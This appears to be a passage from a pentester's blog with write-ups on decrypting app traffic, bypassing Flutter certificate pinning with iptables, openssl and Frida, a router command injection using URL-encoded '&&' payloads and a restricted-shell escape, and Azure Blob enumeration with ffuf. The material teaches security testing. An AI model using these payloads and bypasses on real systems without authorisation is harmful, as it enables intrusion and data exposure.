    public</span> void</span> setPrivateKeyB64</span>(</span>String</span> key</span>) {</span> this</span>.privateKeyB64</span> =</span> key; }</span></span>
    public</span> void</span> setPublicKeyB64</span>(</span>String</span> key</span>) {</span> this</span>.publicKeyB64</span> =</span> key; }</span></span>
    public</span> void</span> setEncryptedSymmetricKeyB64</span>(</span>String</span> key</span>) {</span> this</span>.encryptedSymmetricKeyB64</span> =</span> key; }</span></span>
    public</span> void</span> setEncryptedIvB64</span>(</span>String</span> iv</span>) {</span> this</span>.encryptedIvB64</span> =</span> iv; }</span></span>
    public</span> void</span> setEncParamReq</span>(</span>String</span> param</span>) {</span> this</span>.encParamReq</span> =</span> param; }</span></span>
    public</span> void</span> setEncParamResp</span>(</span>String</span> param</span>) {</span> this</span>.encParamResp</span> =</span> param; }</span></span>
</span>
    public</span> boolean</span> isConfigured</span>() {</span></span>
        return !</span>privateKeyB64.</span>isEmpty</span>()</span> && !</span>encryptedSymmetricKeyB64.</span>isEmpty</span>()</span> && !</span>encryptedIvB64.</span>isEmpty</span>();</span></span>
    }</span></span>
}</span></span></code></pre>
</p>
I won't release the source code of this extension of mine because it's basically a copy-paste of Hosam Gemei's original extension, but with some small changes based on the needs I had during the process. The main point of all this was the learning process, but also the regret process of having to deal with Java xD.</p>
After 5 hours in this process, and close to giving up with help from Claude Code, I managed to make this functional. As can be seen in the image below, it's a simple window with 6 data inputs, which are basically the necessary data for decryption to be done and also what are the payloads to detect the input and server response, in this case, data</code>.</p>
</p>
Now when actually testing, I went back to that same route that returned a giant encrypted JSON and you can see that now we have a tab in the response called "Decrypt" and when I accessed it, fortunately there was my decrypted JSON with all information in clear text. Definitely a victory!</p>
</p>
This type of protection may seem sufficient, but it's actually rework, since in MiTM scenarios TLS would already do its job of transporting encrypted data, so adding an extra layer of this is redundant, even more so because the implementation is natively insecure due to the needs between client and server.</p>
Conclusion</h2>
From this process, it's important to keep in mind that masking the data that the victim's own browser sends and receives transmits a false sense of security, which can be seen as an interesting measure depending on the purpose of that application, but this doesn't protect it from all attacks or make it inaccessible by attackers, it just takes time and understanding about the system.</p>
In my honest opinion, this is a pure business decision and not very strategic, because it will end up taking more time to implement and later can generate maintenance problems. So what's more important to be done here? Implement robust access controls like the principle of least privilege (RBAC and such), don't store sensitive information in source code or Local Storage, don't trust user input data and all those other issues that can be seen as more important.</p>
At the end of it all, it was a very rewarding process to be able to develop this whole project and have an extremely positive result, and that later helped me find some other vulnerabilities in the application. Fortunately, I was lucky enough to find an article that solves the same pain as mine and some others that gave me ideas of what to do at certain moments.</p>
References</h2>

medium.com — A Guide to Build Burp Suite Extensions using Montoya API (Java)</a></li>
medium.com — Bypassing E2E Encryption Leads to Multiple High Vulnerabilities</a></li>
github.com/Gemei/Burp-Plugin-Demo</a></li>
portswigger.net — MontoyaApi Javadoc</a></li>
royalholloway.ac.uk — Client-Side Encryption Research</a></li>
</ul>


Bypassing Flutter Certificate Pinning
2025-02-20T00:00:00+00:00
Continuing with my mobile pentest studies and, of course, doing mobile pentests at work, it's pretty common to run into different mobile apps built with various programming languages. For example, you'll find apps developed in Java, Kotlin, Flutter, Xamarin, Swift… and a bunch of others.</p>
You'll probably find only a few class files that won't be nearly as helpful as you'd hope. For example, here's the app I'm currently working with:</p>
</p>
As you can see, we only have a MainActivity</code> file, a class file with a random name, and the BuildConfig</code> file (don't forget to check the BuildConfig file—you might find something useful there). When I see this, two scenarios come to mind:</p>

The rest of the app is obfuscated.</li>
The app is built with Flutter.</li>
</ol>
I went with the second option. Why? Because it's pretty easy to identify a Flutter app just by looking at the extracted content from the APK file (I used apktool for this) and checking the lib directory.</p>
</p>
For now, we're most interested in these two files: libflutter.so</code> and libapp.so</code>. For those who don't know, Flutter is a software development kit created by Google, commonly used to develop applications for Android, iOS, Linux, macOS, and other platforms. However, it's primarily popular for mobile apps.</p>
The libflutter.so</code> file contains the Flutter engine, mainly developed in C++. One of its key components is Skia (a 2D graphics library), which renders the UI and displays it in the FlutterView</code>, also known as the Raster Thread</em>. There's also the Platform Thread</em>, which interacts with the native APIs of Android and iOS. Finally, we have the UI Thread</em>, responsible for executing Dart code and managing widgets.</p>
On the other hand, libapp.so</code> is unique to each Flutter application. It contains the compiled Dart project—essentially, the mobile app's source code. This code is compiled into native machine code using AOT (Ahead-of-Time) compilation, meaning the code is translated into machine instructions before the app actually runs, typically during the production build.</p>
As stated in the Dart documentation, AOT-compiled code guarantees better performance during application execution, such as a fast startup and consistent runtime performance, unlike JIT-compiled code, which is slower at startup but can reach better performance after some time when necessary runtime optimizations occur. Naturally, during a fast development cycle, the Dart VM offers developers JIT compilation features like hot reload, live metrics collection, and debugging support, which help a lot in thoroughly testing the application.</p>

  
</figure>
When apps are finally ready to be deployed to web applications or app stores, you can compile your application with the Dart AOT compiler to native ARM or x64 machine code, which, as discussed earlier, will offer better startup performance for your entire application. The AOT-compiled code will run inside the Dart runtime environment with a memory management system that employs fast garbage collection and a generational garbage collector.</p>
In the final process, the libflutter.so</code> file launches the Flutter engine and sets up the environment, while the libapp.so</code> file is loaded by the Flutter engine. This allows the Dart code to run within the Flutter engine, powered by libflutter.so</code>.</p>

  
  Flutter Architectural Overview — Flutter</figcaption>
</figure>
Less talk, show me the code!</h2>
To provide more context, if we open a generic Java application in decompilation tools like JADX</a> and the app does not use any obfuscation solution, the reverse-engineering process becomes extremely easy since the code is human-readable. For example, I downloaded a specific application from the Play Store and decompiled the APK file using JADX. By following the package name in the Source Code tab and accessing the Java files, you can see that everything is much easier to understand.</p>
</p>
Getting Flutter's apps source code isn't exactly trivial. You could open the libapp.so</code> file in Ghidra, IDA, BinaryNinja, or whatever tool you prefer, and try your best to figure out what's going on. But honestly, I prefer a different approach. It's not a secret method, just a more efficient one (at least in my opinion).</p>
Thankfully, Worawit</a>, along with six other contributors, created the Blutter</a> project. Blutter is a Flutter reverse-engineering tool that supports arm64 and allows lazy people like us to extract more readable code and structure from a Flutter app. It's super simple to use, though you'll need some libraries and dependencies set up. In my case (MacOS), I had to install cmake</code>, ninja</code>, pkg-config</code>, icu4c</code>, llvm</code>, and a few others. BUT! For actually running Blutter, all you need is a Python script.</p>
As the Blutter README explains, you just need to run the Python script, specify the path to the arm64-v8a</code> directory, and set an output directory:</p>
python3</span> blutter.py 'path/to/app/lib/arm64-v8a' 'out_dir'</span></span></code></pre>
After that, Blutter compiles the necessary libraries and extracts some resources to execute the reverse-engineering process. Hopefully, after a few minutes, your output will look similar to mine. If any errors occur during this process or your PC crashes, make sure to read the stack trace carefully and check the Blutter GitHub repository's Issues tab for similar problems. For added context, I'm running this on a MacBook, I haven't tried Blutter on any other OS yet.</p>
</p>
If we navigate to our previously created output directory (in this case, I named it decompiled_code</strong>) and access the files, we now see a bunch of directories. It contains all the libraries used by the app and the app itself. If you look further, you can find your targeted directory based on the application package name.</p>
</p>
The blurred directories are our target. From here, you can either dig through the countless files Blutter extracted or, like me, open the directory in VSCode for a more user-friendly overview. You're probably going to see a structure similar to the image below. Now it's 10 times easier to understand the application architecture and focus on the most important parts of the code.</p>
</p>
Now we have a much better environment for reverse engineering the mobile application and searching for vulnerabilities. I highly recommend using gitleaks</a> or any secret-finding tool (TruffleHog, Semgrep) to identify low-hanging fruits. I did this and found some interesting results, but that's not the focus of this article, so we will skip that part.</p>
SSL Pinning for you, not for me!</h2>
SSL Pinning</strong> (or Certificate Pinning</strong>) is a technique that helps developers secure their mobile apps from Man-in-the-Middle (MITM) attacks. It ensures that the app only trusts specific certificates instead of the entire certificate chain. Instead of trusting any valid certificate chain, the application stores a copy of the server's certificate or public key and verifies if the connection uses that exact certificate.</p>
In the context of SSL Pinning, there are different pinning approaches. For example, we have Public Key Pinning</strong>, which is a mechanism for sites to specify which certificate authorities have issued valid certificates for that specific site, and to reject TLS connections to those sites if the used certificate is not issued by a known-good CA. The idea is also to prevent man-in-the-middle attacks by hard-coding the public key of the server's SSL certificate instead of the entire certificate. In this way, the client will check if the server certificate contains the same public key that is hard-coded in the application code. The main advantage of Public Key Pinning is that even if the server certificate changes, the client will still trust the server if the public key remains the same, although it is harder to implement.</p>
Another method is SPKI Pinning</strong>. The Subject Public Key Info (SPKI) is basically the key with a bit more salt, it can include the algorithm used for encoding or other parameters. SPKI is obtained from the Certificate Signing Request (CSR)</strong>, which collects the necessary information from a pair of public and private keys. The use of SPKI Pinning is not very convenient because you will need to release a mandatory update of your app when the certificate gets renewed, which will probably make things harder to maintain. It is possible to "bypass" this problem if you keep the same Certificate Signing Request (CSR) on every renewal process, but that violates the key rotation principle, which is the process of replacing old encryption keys with new ones to reduce the risk of compromised keys.</p>
</p>
While analyzing the source code extracted by Blutter, I found something interesting that caught my attention. In the project files, there was a file called dio_http_service_imp.dart</code>. Dio</a> is a popular HTTP networking package for Dart/Flutter, supporting TLS connections. From the official Dio documentation, this is the basic implementation:</p>
void</span> initAdapter</span>() {</span></span>
  const</span> String</span> fingerprint </span>=</span> 'ee5ce1dfa7a53657c545c62b65802e4272878dabd65c0aadcf85783ebb0b4d5c'</span>;</span></span>
  dio.httpClientAdapter </span>=</span> IOHttpClientAdapter</span>(</span></span>
    createHttpClient</span>:</span> () {</span></span>
      final</span> HttpClient</span> client </span>=</span> HttpClient</span>(context</span>:</span> SecurityContext</span>(withTrustedRoots</span>:</span> false</span>));</span></span>
      client.badCertificateCallback </span>=</span> (cert, host, port) </span>=></span> true</span>;</span></span>
      return</span> client;</span></span>
    },</span></span>
    validateCertificate</span>:</span> (cert, host, port) {</span></span>
      if</span> (cert </span>==</span> null</span>) </span>return</span> false</span>;</span></span>
      return</span> fingerprint </span>==</span> sha256.</span>convert</span>(cert.der).</span>toString</span>();</span></span>
    },</span></span>
  );</span></span>
}</span></span></code></pre>
As we can see above, we start by defining a variable called fingerprint</strong> that will contain the SHA256 hash of the public certificate key. After that, we create the HttpClient, ensuring that the SecurityContext is set with withTrustedRoots</strong> set to false so that we don't trust any certificate just because its root cert is trusted. Furthermore, we check if the certificate fingerprint matches the SHA256 hash and ensure that at least one certificate is being supplied.</p>
It works perfectly for servers that have a self-signed certificate, however, it will not work for external certificates issued by AWS, Let's Encrypt, or other third parties. Therefore, we can verify the root of the HTTPS certificate that is provided by the server. The code below is an example of using a static PEM certificate and SecurityContext. It also supports PKCS#12 certificates, but PKCS#12 certificates require a password to be used, which exposes the password in the code; hence, the project does not recommend using them in common cases.</p>
void</span> initAdapter</span>() {</span></span>
  String PEM</span> =</span> 'XXXXX'</span>;</span> // Root certificate content</span></span>
  dio.httpClientAdapter </span>=</span> IOHttpClientAdapter</span>(</span></span>
    onHttpClientCreate</span>:</span> (_) {</span></span>
      final</span> SecurityContext</span> sc </span>=</span> SecurityContext</span>();</span></span>
      sc.</span>setTrustedCertificates</span>(</span>File</span>(pathToTheCertificate));</span></span>
      final</span> HttpClient</span> client </span>=</span> HttpClient</span>(context</span>:</span> sc);</span></span>
      return</span> client;</span></span>
    },</span></span>
  );</span></span>
}</span></span></code></pre>
The most interesting part is this line sc.setTrustedCertificates(File(pathToTheCertificate));</code> This indicates that the app expects a static certificate file. After reading this article by Mohamed Malkia</a>, I immediately searched the source code for .pem</strong> and .key</strong> extensions. And guess what? I found actual references to these files:</p>
</p>
Going back to VSCode and using the search function, I typed .pem</code> in the "Search" field and immediately got two references in the code, again in the dio_http_service_imp.dart</code> file. Accessing these files we can get more details about the usage of the Dio package.</p>


</p>
The app reads the certificate bytes and implements them using Dart's SecurityContext methods useCertificateChainBytes</strong> and usePrivateKeyBytes</strong>. According to the documentation:</p>

useCertificateChainBytes</strong>: Sets the chain of X.509 certificates served by the SecureServerSocket during secure connections, including the server certificate.</li>
usePrivateKeyBytes</strong>: Sets the private key for the corresponding certificate.</li>
</ul>
</p>
Interestingly, the application doesn't use standard ports like 443, 80, or 8080. Instead, the API is hosted on port 444</strong>. This is crucial for properly configuring our proxy because if we try intercepting ports 443, 80, or 8080, we would probably only capture requests from third-party sources rather than those from the targeted application. Therefore, make sure to identify where the application is actually consuming data so that no important requests are missed.</p>
</p>
It is important to note that every Certificate Pinning mechanism can be bypassed if the attacker has the necessary time and patience. The main idea of these mechanisms is to offer more security to users, reducing risk and making attackers' lives harder, but it will always be a cat-and-mouse game until vendors like Google and Apple develop technology to mitigate this problem (and I'm not even sure if that's possible).</p>
Intercept, intercept and intercept</h2>
After all this analysis, we're ready to intercept the traffic. Here's what we need to do:</p>

Create IPTables rules to redirect the traffic.</li>
Configure the proxy on our Android device (I'm using an emulated Pixel 9 Pro).</li>
Set up Burp Suite.</li>
Use the NVISO disable-flutter-tls script.</li>
</ol>
Starting with IPTables, IPTables is a utility program from Linux that helps users configure network rules. In our case, it's a really simple process—we just need to redirect the incoming traffic from port 444 to port 8080, where our Burp Suite proxy is running. The command I used for this is:</p>
emu64a:/ iptables -t nat -A OUTPUT -p tcp --dport 444 -j DNAT --to-destination <local-ip>:8080</span></span>
emu64a:/ iptables -t nat -A POSTROUTING -p tcp -d <local-ip> --dport 8080 -j MASQUERADE</span></span></code></pre>
After that, we need to go to our Wi-Fi settings on our Android device and change the proxy setting from "None" to "Manual," specifying the host and port we want. In this case, the host will be your local IP and the port will be the same as the Burp Suite proxy. This will allow our emulated device to communicate with our Burp Suite proxy client.</p>
</p>
Now, for Burp Suite, we need to take the PEM and KEY files that are statically stored in the assets directory from the decompiled mobile app and generate a PKCS#12 file to later import into Burp Suite TLS settings. Why PKCS#12? Because Burp Suite TLS currently only supports PEM certificates.</p>
openssl</span> pkcs12</span> -export -out</span> file.p12</span> -inkey</span> key_file.key</span> -in</span> pem_file.pem</span> -certifile</span> pem_file.pem</span></span></code></pre>
Here, the flags -export</code> and -out</code> specify that we want to write the certificate's content to an output file. The -inkey</code> flag specifies the private key from the certificate, combined with the -in</code> and -certifile</code> flags to indicate to OpenSSL which files are our certificates—we can repeat the PEM certificate file here.</p>
</p>
Now, go to your Burp Suite settings, navigate to the Network tab, and click on the "TLS" section. Scroll down to "Client TLS Certificates" and click the "Add" button to add a new certificate.</p>
In the "Destination host" input, enter the host address from the API or website whose traffic you want to intercept (you don't need to specify the port), and be sure to click the "File (PKCS#12)" radio button because you need to import your PKCS#12 file. After that, click the "Next" button.</p>
</p>
Next, click the "Select file" button and locate the .p12 file you generated using the OpenSSL command. During the process of generating the file with OpenSSL, you will be prompted to set a password; you must enter the same password in the "Password" field below the "Certificate file" field.</p>
</p>
If everything goes well, your file will be loaded and you can even see some information about the imported certificate.</p>
</p>
Now for the final steps with Burp Suite, go to the Proxy settings and make sure the "Bind to port" is the same from the IPTables and change the "Bind to address" from "Specific address" to "All interfaces" making sure we actually can intercept the traffic. After that, go to the "Request handling" tab and check the "Support invisible proxying" checkbox.</p>

</p>
To finish, download the NVISOsecurity Frida script to disable Flutter's TLS verification, you can find it here</a>. This script uses pattern matching to find ssl_verify_peer_cert</strong> in the handshake.cc</strong> file. The handshake.cc</strong> file is part of the BoringSSL project</a>, a fork of OpenSSL used by Chrome/Chromium and Android. To execute the script, ensure that the Frida server is running on your Android device (it can be done via ADB) and run the following command:</p>
frida</span> -U -f</span> your.package.name</span> -l</span> disable-flutter-tls.js</span> --no-pause</span></span></code></pre>
Don't forget that you need to have the Burp Suite certificate installed on your device. There are various methods to do this, so I won't cover that process here; however, you can find plenty of resources online that explain how to do it.</p>
</p>
Frida will run the app for us, so we go to Burp Suite and "HTTP History" tab we can see that now we can successfully intercept the app HTTP/HTTPS traffic.</p>
</p>
References</h2>

docs.flutter.dev</a></li>
dart.dev — Overview</a></li>
medium.com — How JIT and AOT work in Dart</a></li>
github.com/worawit/blutter</a></li>
wiki.mozilla.org — Public Key Pinning</a></li>
medium.com — SSL Pinning: How to Make It Right</a></li>
owasp.org — Certificate and Public Key Pinning</a></li>
medium.com — How to use TLS/SSL in Flutter with Dio</a></li>
api.flutter.dev — usePrivateKeyBytes</a></li>
api.flutter.dev — useCertificateChainBytes</a></li>
github.com/NVISOsecurity/disable-flutter-tls-verification</a></li>
</ul>


Discovering an Authenticated RCE Vulnerability in My Old Router
2025-01-10T00:00:00+00:00
Everything started when I watched a talk by Maycon Vitali at H2HC titled "Internet of Sh!t - Maycon Vitali - H2HC University 2018"</a>, where he discussed his process of discovering vulnerabilities in a Ubiquiti router. After watching the 30-minute talk, I stopped the video, looked around, and remembered an old router that I had in my house. I immediately searched for the power cable, plugged it in next to my desk, and checked if everything worked fine. After about 5 minutes, I scanned my network and found the router's IP address. I made some changes and set the IP to 192.168.15.1</code>.</p>
With everything set up, I ran nmap -p- -open -vvvvv --min-rate=5000 -T3 -Pn</code> to check the available ports and running services.</p>

-p-</code>: Scan all 65,535 TCP ports;</li>
-v/-vvvvv</code>: Enable verbose mode;</li>
--open</code>: Only show open (or possible open) ports;</li>
--min-rate</code>: Send packets no slower than X per second;</li>
-Pn</code>: No ping. Skips the host discovery stage altogether.</li>
</ul>
</p>
When I saw the SSH port, I looked behind the router for any credentials and, fortunately, it had them. I tried logging in with the "admin" username, but it didn't work, so I searched for some documentation and discovered the correct username was "support."</p>
</p>
As shown in the image above, we couldn't execute commands or interact with the operating system beyond the initial shell. The goal at this moment was to figure out how to execute commands, as I had no prior experience with hardware hacking and didn't want to attempt extracting the firmware without understanding how to do it. After a bit of research, I discovered that you could pass a direct command after the SSH command to escape the "dumb shell".</p>
</p>
Using the netstat -lpntu</code> command, I checked all running services ports. The idea here is to find some binary or service we can exploit to discover a vulnerability, but we don't investigate it too deeply and move on to other enumerations.</p>

-l</code>: Displays only listening sockets;</li>
-p</code>: Displays the process ID (PID) and the program name;</li>
-n</code>: Display addresses and port numbers in their numerical format;</li>
-t</code>: Display active TCP connections;</li>
-u</code>: Display active UDP connections.</li>
</ul>
</p>
Through the uname -a</code> command, I identified the version of the running Linux system. As you can see, it's a fairly up-to-date kernel, and the environment is somewhat limited, so we also chose not to delve too deeply into its exploitation because, above all, our user is already part of the root group.</p>
Linux (none) 4.4.115 #1 SMP Fri Jul 5 16:58:21 CST 2024 armv7l GNU/Linux</span></span></code></pre>
Using the command ps w</code>, I also found a bunch of interesting information. There are several processes using some config files, including some XMLs that contain virtually all the router's configurations, but we also didn't find anything of significant relevance here.</p>
</p>
After testing the router possibilities, I discovered some issues:</p>

Me and my friends tried different methods to get a reverse shell, but without success.</li>
Some common binaries, like ls</code>, didn't work.</li>
The entire router was running on a read-only system, so we couldn't create a web shell in the web app's directory.</li>
</ul>
Not having ls</code> wasn't a problem because we still had the find</code> binary. So we can use the command file /app -type f</code> to list all the files inside the /app</code> directory. For example:</p>
</p>
When I listed the files in the /tmp</code> directory, I found a file called dump.txt</code> that caught my attention. Reading this file, I discovered it stored network passwords in plaintext, along with other network configurations, which is indeed quite useful if you want to access the Wi-Fi network without changing it, which I think is the best option. The contents of the file were something like this:</p>

</p>
Escalating from cmdsh</h2>
Analyzing the processes, I discovered that the initial shell we got when accessing via SSH was called cmdsh</code> and appeared to be a unique binary used to manage the SSH service. I copied the cmdsh</code> binary to my local machine and opened it in Binary Ninja to understand what was happening in the background.</p>
</p>
We can see that the binary looks for two variables called LOGNAME</code> and LOGFROM</code>. Digging further into the code, we identified the expected values for these variables:</p>

admin</li>
telefonica</li>
</ul>
</p>
The most important part of this code is the lines:</p>

current_hidden</code> and current_permission</code></li>
</ul>
Why is this interesting? Because we can see the difference in permissions available when logged in with an admin</code> or telefonica</code> profile. So, before running the command /bin/cmdsh</code>, we specify the values LOGNAME=telefonica</code>, for example, and now some sysadmin commands become available to us =).</p>
</p>
Attacking the Web App</h2>
I tried extracting the webapp content with cURL</code>, wget</code>, or SCP</code>, but I didn't have success with. So, I decided to create a tar file, convert it to base64, and save the output locally. After this, I converted it back into a normal file and successfully retrieved the content. I created the tar file from the directory /usr/shared/web</code>.</p>

</p>
In the end, we have a "valid" code that we can open in VSCode to better understand the application's structure, but not everything is as smooth as we imagined. This is an issue I didn't consider at the time I was exporting it to VSCode. All the files are CGIs.</p>
</p>
Of course, we couldn't read the CGI files directly because they are compiled C files that is used in the web interface and in other functions. I started exploring the available functions in the web app and found a menu called Tools</code>. Accessing it, we saw options to run commands like ping</code>, traceroute</code>, and nslookup</code>.</p>
</p>
This immediately caught my attention. I tried injecting direct commands into it, but there was a JavaScript validation that checked for valid IPs. However, we could bypass this by capturing a valid request in Burp Suite and modifying the IP parameter. Furthermore, there was some form of protection against command injection. By examining the code, we could understand how these functions worked (ping</code>, traceroute</code>, and nslookup</code>) and look for ways to bypass or understand what was happening in the background.</p>

</p>
Looking at the final lines of the code, where the nslookup</code>, traceroute</code> and ping</code> binaries runs, we noticed that our input was directly concatenated into the execution and the output was saved to the file /tmp/ping_result</code>. This confirmed that there was command injection possibility.</p>
</p>
Returning to the web app, we kept trying to execute commands without immediate success. After a break, we discovered that the &</code> character wasn't blocked. For now, we could encode the &</code> character with URL encoding and attempt to execute commands like this:</p>
127.0.0.1%26%26id</span></span></code></pre>
</p>
We received a blank response because the output is only saved when you render the another web page. After sending the request, we need to read /tmp/ping_result</code> file content because is where our command execution output is.</p>

</p>
Finally, we achieved command execution. The issue here was that it was a blind command execution, since the output was saved in /tmp/ping_result</code> and we couldn't read this file outside SSH. The web app also didn't render the command output directly.</p>
</p>
If we look at the output of our command now, we'll be surprised by something quite unfortunate, but something we managed to solve later, which was rather "funny" given the ideas we came up with during this process.</p>
</p>
Escaping the blind command execution</h2>
Here's what we discovered:</p>

The function that printed the command output removed some lines from the final result, so we couldn't see the output without reading /tmp/ping_result</code> file.</li>
There was a slight delay between command execution and when the output was saved, so we needed to wait about 5 seconds before checking the output.</li>
</ul>
To work around this, we needed to concatenate three commands. Why? By using two nslookup</code> commands, we ensured our command's output wasn't the last line removed by the application.</p>
</p>
127.0.0.1%26%26uname%20-a%26%26nslookup%20127.0.0.1</span></span></code></pre>
</p>
Now we need to automate the process by developing a functional exploit for this. Looking at the login process, we noticed the parameter loginPassword</code> didn't send the password in plaintext. Instead, it sent an MD5 hash of the password. After logging in, a COOKIE_SESSION_KEY</code> was generated, which indicates that our session is valid and we are authenticated in the environment.</p>

</p>
Logging in again showed that the loginPassword</code> value was different from the first login. Apparently, there is a function in the system that ensures the password hash doesn't repeat, which I believe is meant to prevent brute force attacks and similar methods.</p>
</p>
Inspecting the login.cgi</code> HTML source code, we found the JavaScript function that generated the MD5 hash, the function in question is called "checkLogin," and it seems to mix the SID value, the original password (in plain text), and finally convert everything to MD5.</p>
</p>
Refreshing the page showed that the sid</code> value changed each time, this indicates that every time we access the login page, the SID will be changed, something like a dynamic generation, so it's not possible to simply convert our password to MD5 and send it directly to the login form.</p>
</p>
To work with this, our Python script needed to capture the var sid</code> value, concatenate it with the password, and generate the MD5 hash. Using BeautifulSoup, we captured the var sid</code> value after the =</code> character with the following code:</p>
</p>
This is already enough for us to generate a valid hash when submitting it to the login form after updating the code.</p>
</p>
Now, with a valid COOKIE_SESSION_KEY</code>, we could perform authenticated actions on the router. The final step was to replicate the process and integrate it into the script. The final result of our script will be an command execution with direct output, which made exploiting the vulnerability ten times better.</p>
</p>
Conclusion</h2>
During this process, my friends and I realized that the most ridiculous ideas can work, like concatenating three commands and hoping for the best xD. But honestly, it's interesting how watching an H2HC talk sparked this desire in me to explore something I had such easy access to, and in the end, everything worked out. Obviously, all of this was possible thanks to the help of the other members of Inferi, who were exceptional in helping me brainstorm some ideas.</p>
It's funny that I have no experience with reverse engineering, but a little bit of guesswork and determination seems to solve everything. Of course, if I had some experience, it would have helped a lot, but that's something for the future.</p>
Thank you for reading this far! I hope you've learned something or at least enjoyed the content. Neither the script nor the vulnerability will be made available since this was just field research. But who knows? Maybe this will turn into a CVE in the future, and we'll change our minds about publishing it.</p>
References</h2>

youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018</a></li>
</ul>


Attacking Azure Blob Storage Services
2024-11-22T00:00:00+00:00
Azure, or Microsoft Azure, is a cloud computing platform maintained by Microsoft that offers a bunch of services used by many companies and individuals. Probably, the most famous solutions provided by Microsoft Azure are virtual machines, Azure Kubernetes Services (AKS), solutions for DevOps and DevSecOps, and of course, the giant integration with all other Microsoft services, for example, Active Directory, GitHub, Azure DevOps, Visual Studio, and GitHub Copilot.</p>
Now, what is Azure Blob Storage? Azure Blob Storage is a massively scalable and secure</del> object storage solution for cloud-native workloads, archives, data lakes, HPC, and machine learning (I took this from the Microsoft Azure Blob Storage website). Basically, a lot of companies store their files like videos, documents, executables, logs, backup data, and others in this service and share these resources through their services like web apps, systems, etc.</p>
A Blob Storage is constructed of three types of resources, which are:</p>

Storage Account</strong>: A Storage Account is the unique namespace for your Azure data. So, if you store your data on Azure Storage, your data will be available at an address that uses this namespace as the reference for access. Example: https://000pp.blob.core.windows.net</code>.</li>
Container</strong>: A container is where all the blobs get stored; they work similarly to a directory in a file system. A good thing is there is no limit to how many blobs can be stored in a container, of course, because the purpose is to provide large storage access. A container name can be between 3 and 63 characters long and doesn't support special characters besides the dash character (-).</li>
Blob</strong>: A blob is a binary large object and a storage option for any type of data that you want to store in a binary format. (I took this from Microsoft again)</li>
</ul>
</p>
Azure Blob Storage is basically Microsoft's version of Amazon S3 Bucket or Google Cloud Drive. The main purpose is to serve access to a large scale of files and provide more flexibility in the storing process.</p>
Why should I know about this?</h2>
Well, we're hackers, or pentesters... so we should know about a bunch of things. Today, it is extremely easy to find websites that use Microsoft services/technologies like IIS, ASP.NET, and now, Azure services, like Azure Blob Storage. If we understand the environment that we are fighting in, we know how to find vulnerabilities and create a good report for the client. I have already done a lot of pentests on clients that use Azure Blob Storage and discovered interesting info and sensitive data about the web app, infrastructure, or environment I was attacking with this knowledge.</p>
Now that you understand the importance of knowing what Azure Blob Storage is, we can start talking about the good part: the vulnerabilities that we can find while dealing with this service.</p>
Anonymous Access</h2>
The main advantage of Azure Blobs compared to other Azure artifacts like Azure Files (SMB and REST), Azure Queues, and Azure Tables is that Azure Blobs allow anonymous public read access, as we can see in the image below:</p>
</p>
With anonymous access and the right request, we can enumerate all the blobs (files) inside the target Azure Blob Storage and find really good information. As we said before, the base URL for an Azure Blob Storage is STORAGE_ACCOUNT_NAME.blob.core.windows.net</code>, so you need to first discover the Storage Account name. It can be easily discovered if the web app makes a direct request for the file it needs. For example:</p>
</p>
In the image above, before the first dot is the storage account name. If you can't find the storage account this way, I recommend trying three things:</p>


Google Dorking</p>
</p>
</li>

Use the company's name</p>
</p>
</li>

Bruteforce with a custom wordlist</p>
Try using FFUF with a custom wordlist that combines the company name and a generic storage name, like amazoncontent</code>, amazonstorage</code>, amazonfiles</code>.</p>
</li>
</ol>
If you can find a valid Azure Blob Storage domain, you're probably going to find a page similar to this:</p>
</p>
As we can see in the image above, the service is asking for the parameter "comp". If we look at Microsoft's documentation, it says we can enumerate container names using ?comp=list</code>, but this never worked for me. In an ideal world, like the first image I showed you, the container name will be in the URL. Example: https://000pp.blob.core.windows.net/static/js/jquery.js</code> — static</strong> is the container name. Again, you can use FFUF to enumerate container names. As you can see, the container name is static</strong>, a common word.</p>
The main problem here is Azure Blob Storage does not indicate if the container name is valid or not, i.e. static</strong> can be a valid container name and notnotnotvalid</strong> invalid but we will get the same response for both:</p>
<</span>Error</span>></span></span>
<</span>Code</span>>ResourceNotFound</</span>Code</span>></span></span>
<</span>Message</span>></span></span>
    The specified resource does not exist. RequestId:4f8c64bf-701e-0024-4099-3cb3d7000000 Time:2024-11-22T04:47:01.2790826Z</span></span>
</</span>Message</span>></span></span>
</</span>Error</span>></span></span></code></pre>Accessing blobs from a container</h2>
But Microsoft is not an evil company, and there is a way to identify if the container name is valid or not. We need to append ?restype=container&comp=list</code> or just ?comp=list</code> to the end of the URL, and blobs will be listed.</p>
</p>
With this in mind, we can go back to FFUF and enumerate valid container names through this command:</p>
ffuf -c -w /opt/SecLists/Discovery/Web-Content/common.txt --fc 404 --mc all -u https://000pp.blob.core.windows.net/FUZZ?comp=list</span></span>
ffuf -c -w /opt/SecLists/Discovery/Web-Content/common.txt --fc 404 --mc all -u https://000pp.blob.core.windows.net/FUZZ?restype=container&comp=list</span></span></code></pre>
Of course, you can use the tool of your choice, but I really like FFUF and have been using it for the last few years.</p>
Now you can list the blobs. You just need to access the URL indicated by the Name or Url values. For example, if I want to access the .less file from the image I used above, the URL would be something like this: https://000pp.blob.core.windows.net/static/backend/REDACTED/css/REDACTED.less</code></p>
</p>
I used this file as an example, but you can find internal documents by searching for files that end with pdf</code>, csv</code>, xlsx</code>, xls</code>, docx</code>, or low-hanging fruits with js</code>, zip</code>, sql</code> files. Or just adapt the search based on the environment you're exploring. If the web app is developed with PHP, you can search for php</code>, inc</code>, bkp</code>.</p>
Another problem is Azure Blob Storage is used to store a large scale of files. If you want to find files that end with pdf, you will need to use CTRL+F on your browser and filter one by one. If that wasn't enough, you may come across errors like FeatureVersionMismatch</code> and will need to specify the x-ms-version</code> header with the value 2020-04-08</code>.</p>
I'm a person that likes to develop tools/scripts and bring more convenience to my life. So, I developed a tool to help with Azure Blob Storage. I called it Blobber, and it is developed with Python.</p>
Blobber</h2>
Blobber automates the process of adding ?restype=container&comp=list</code> to the URL, checks for errors, tries to bypass them, and lets you view only the really important data and filter by extensions with more convenience. You can skip the filter by extensions flag too, but be careful because a lot of content will be printed (probably).</p>

</p>
Blobber is available on my GitHub if you have interest in using the tool.</p>
Conclusion</h2>
Today we learned a bit more about the Azure Blob Storage service and how valuable it is to find one with anonymous access enabled. I really enjoyed reading about this through Microsoft's documentation and developing this script (Blobber). In my opinion, this is the best way to learn something new and improve your skills. I hope all you guys liked this post and learned something new. I hope to see you again soon.</p>
References</h2>

learn.microsoft.com — Azure Blob Storage</a></li>
learn.microsoft.com — Storage Blobs Overview</a></li>
learn.microsoft.com — Blob Service REST API</a></li>
learn.microsoft.com — Blob Service Concepts</a></li>
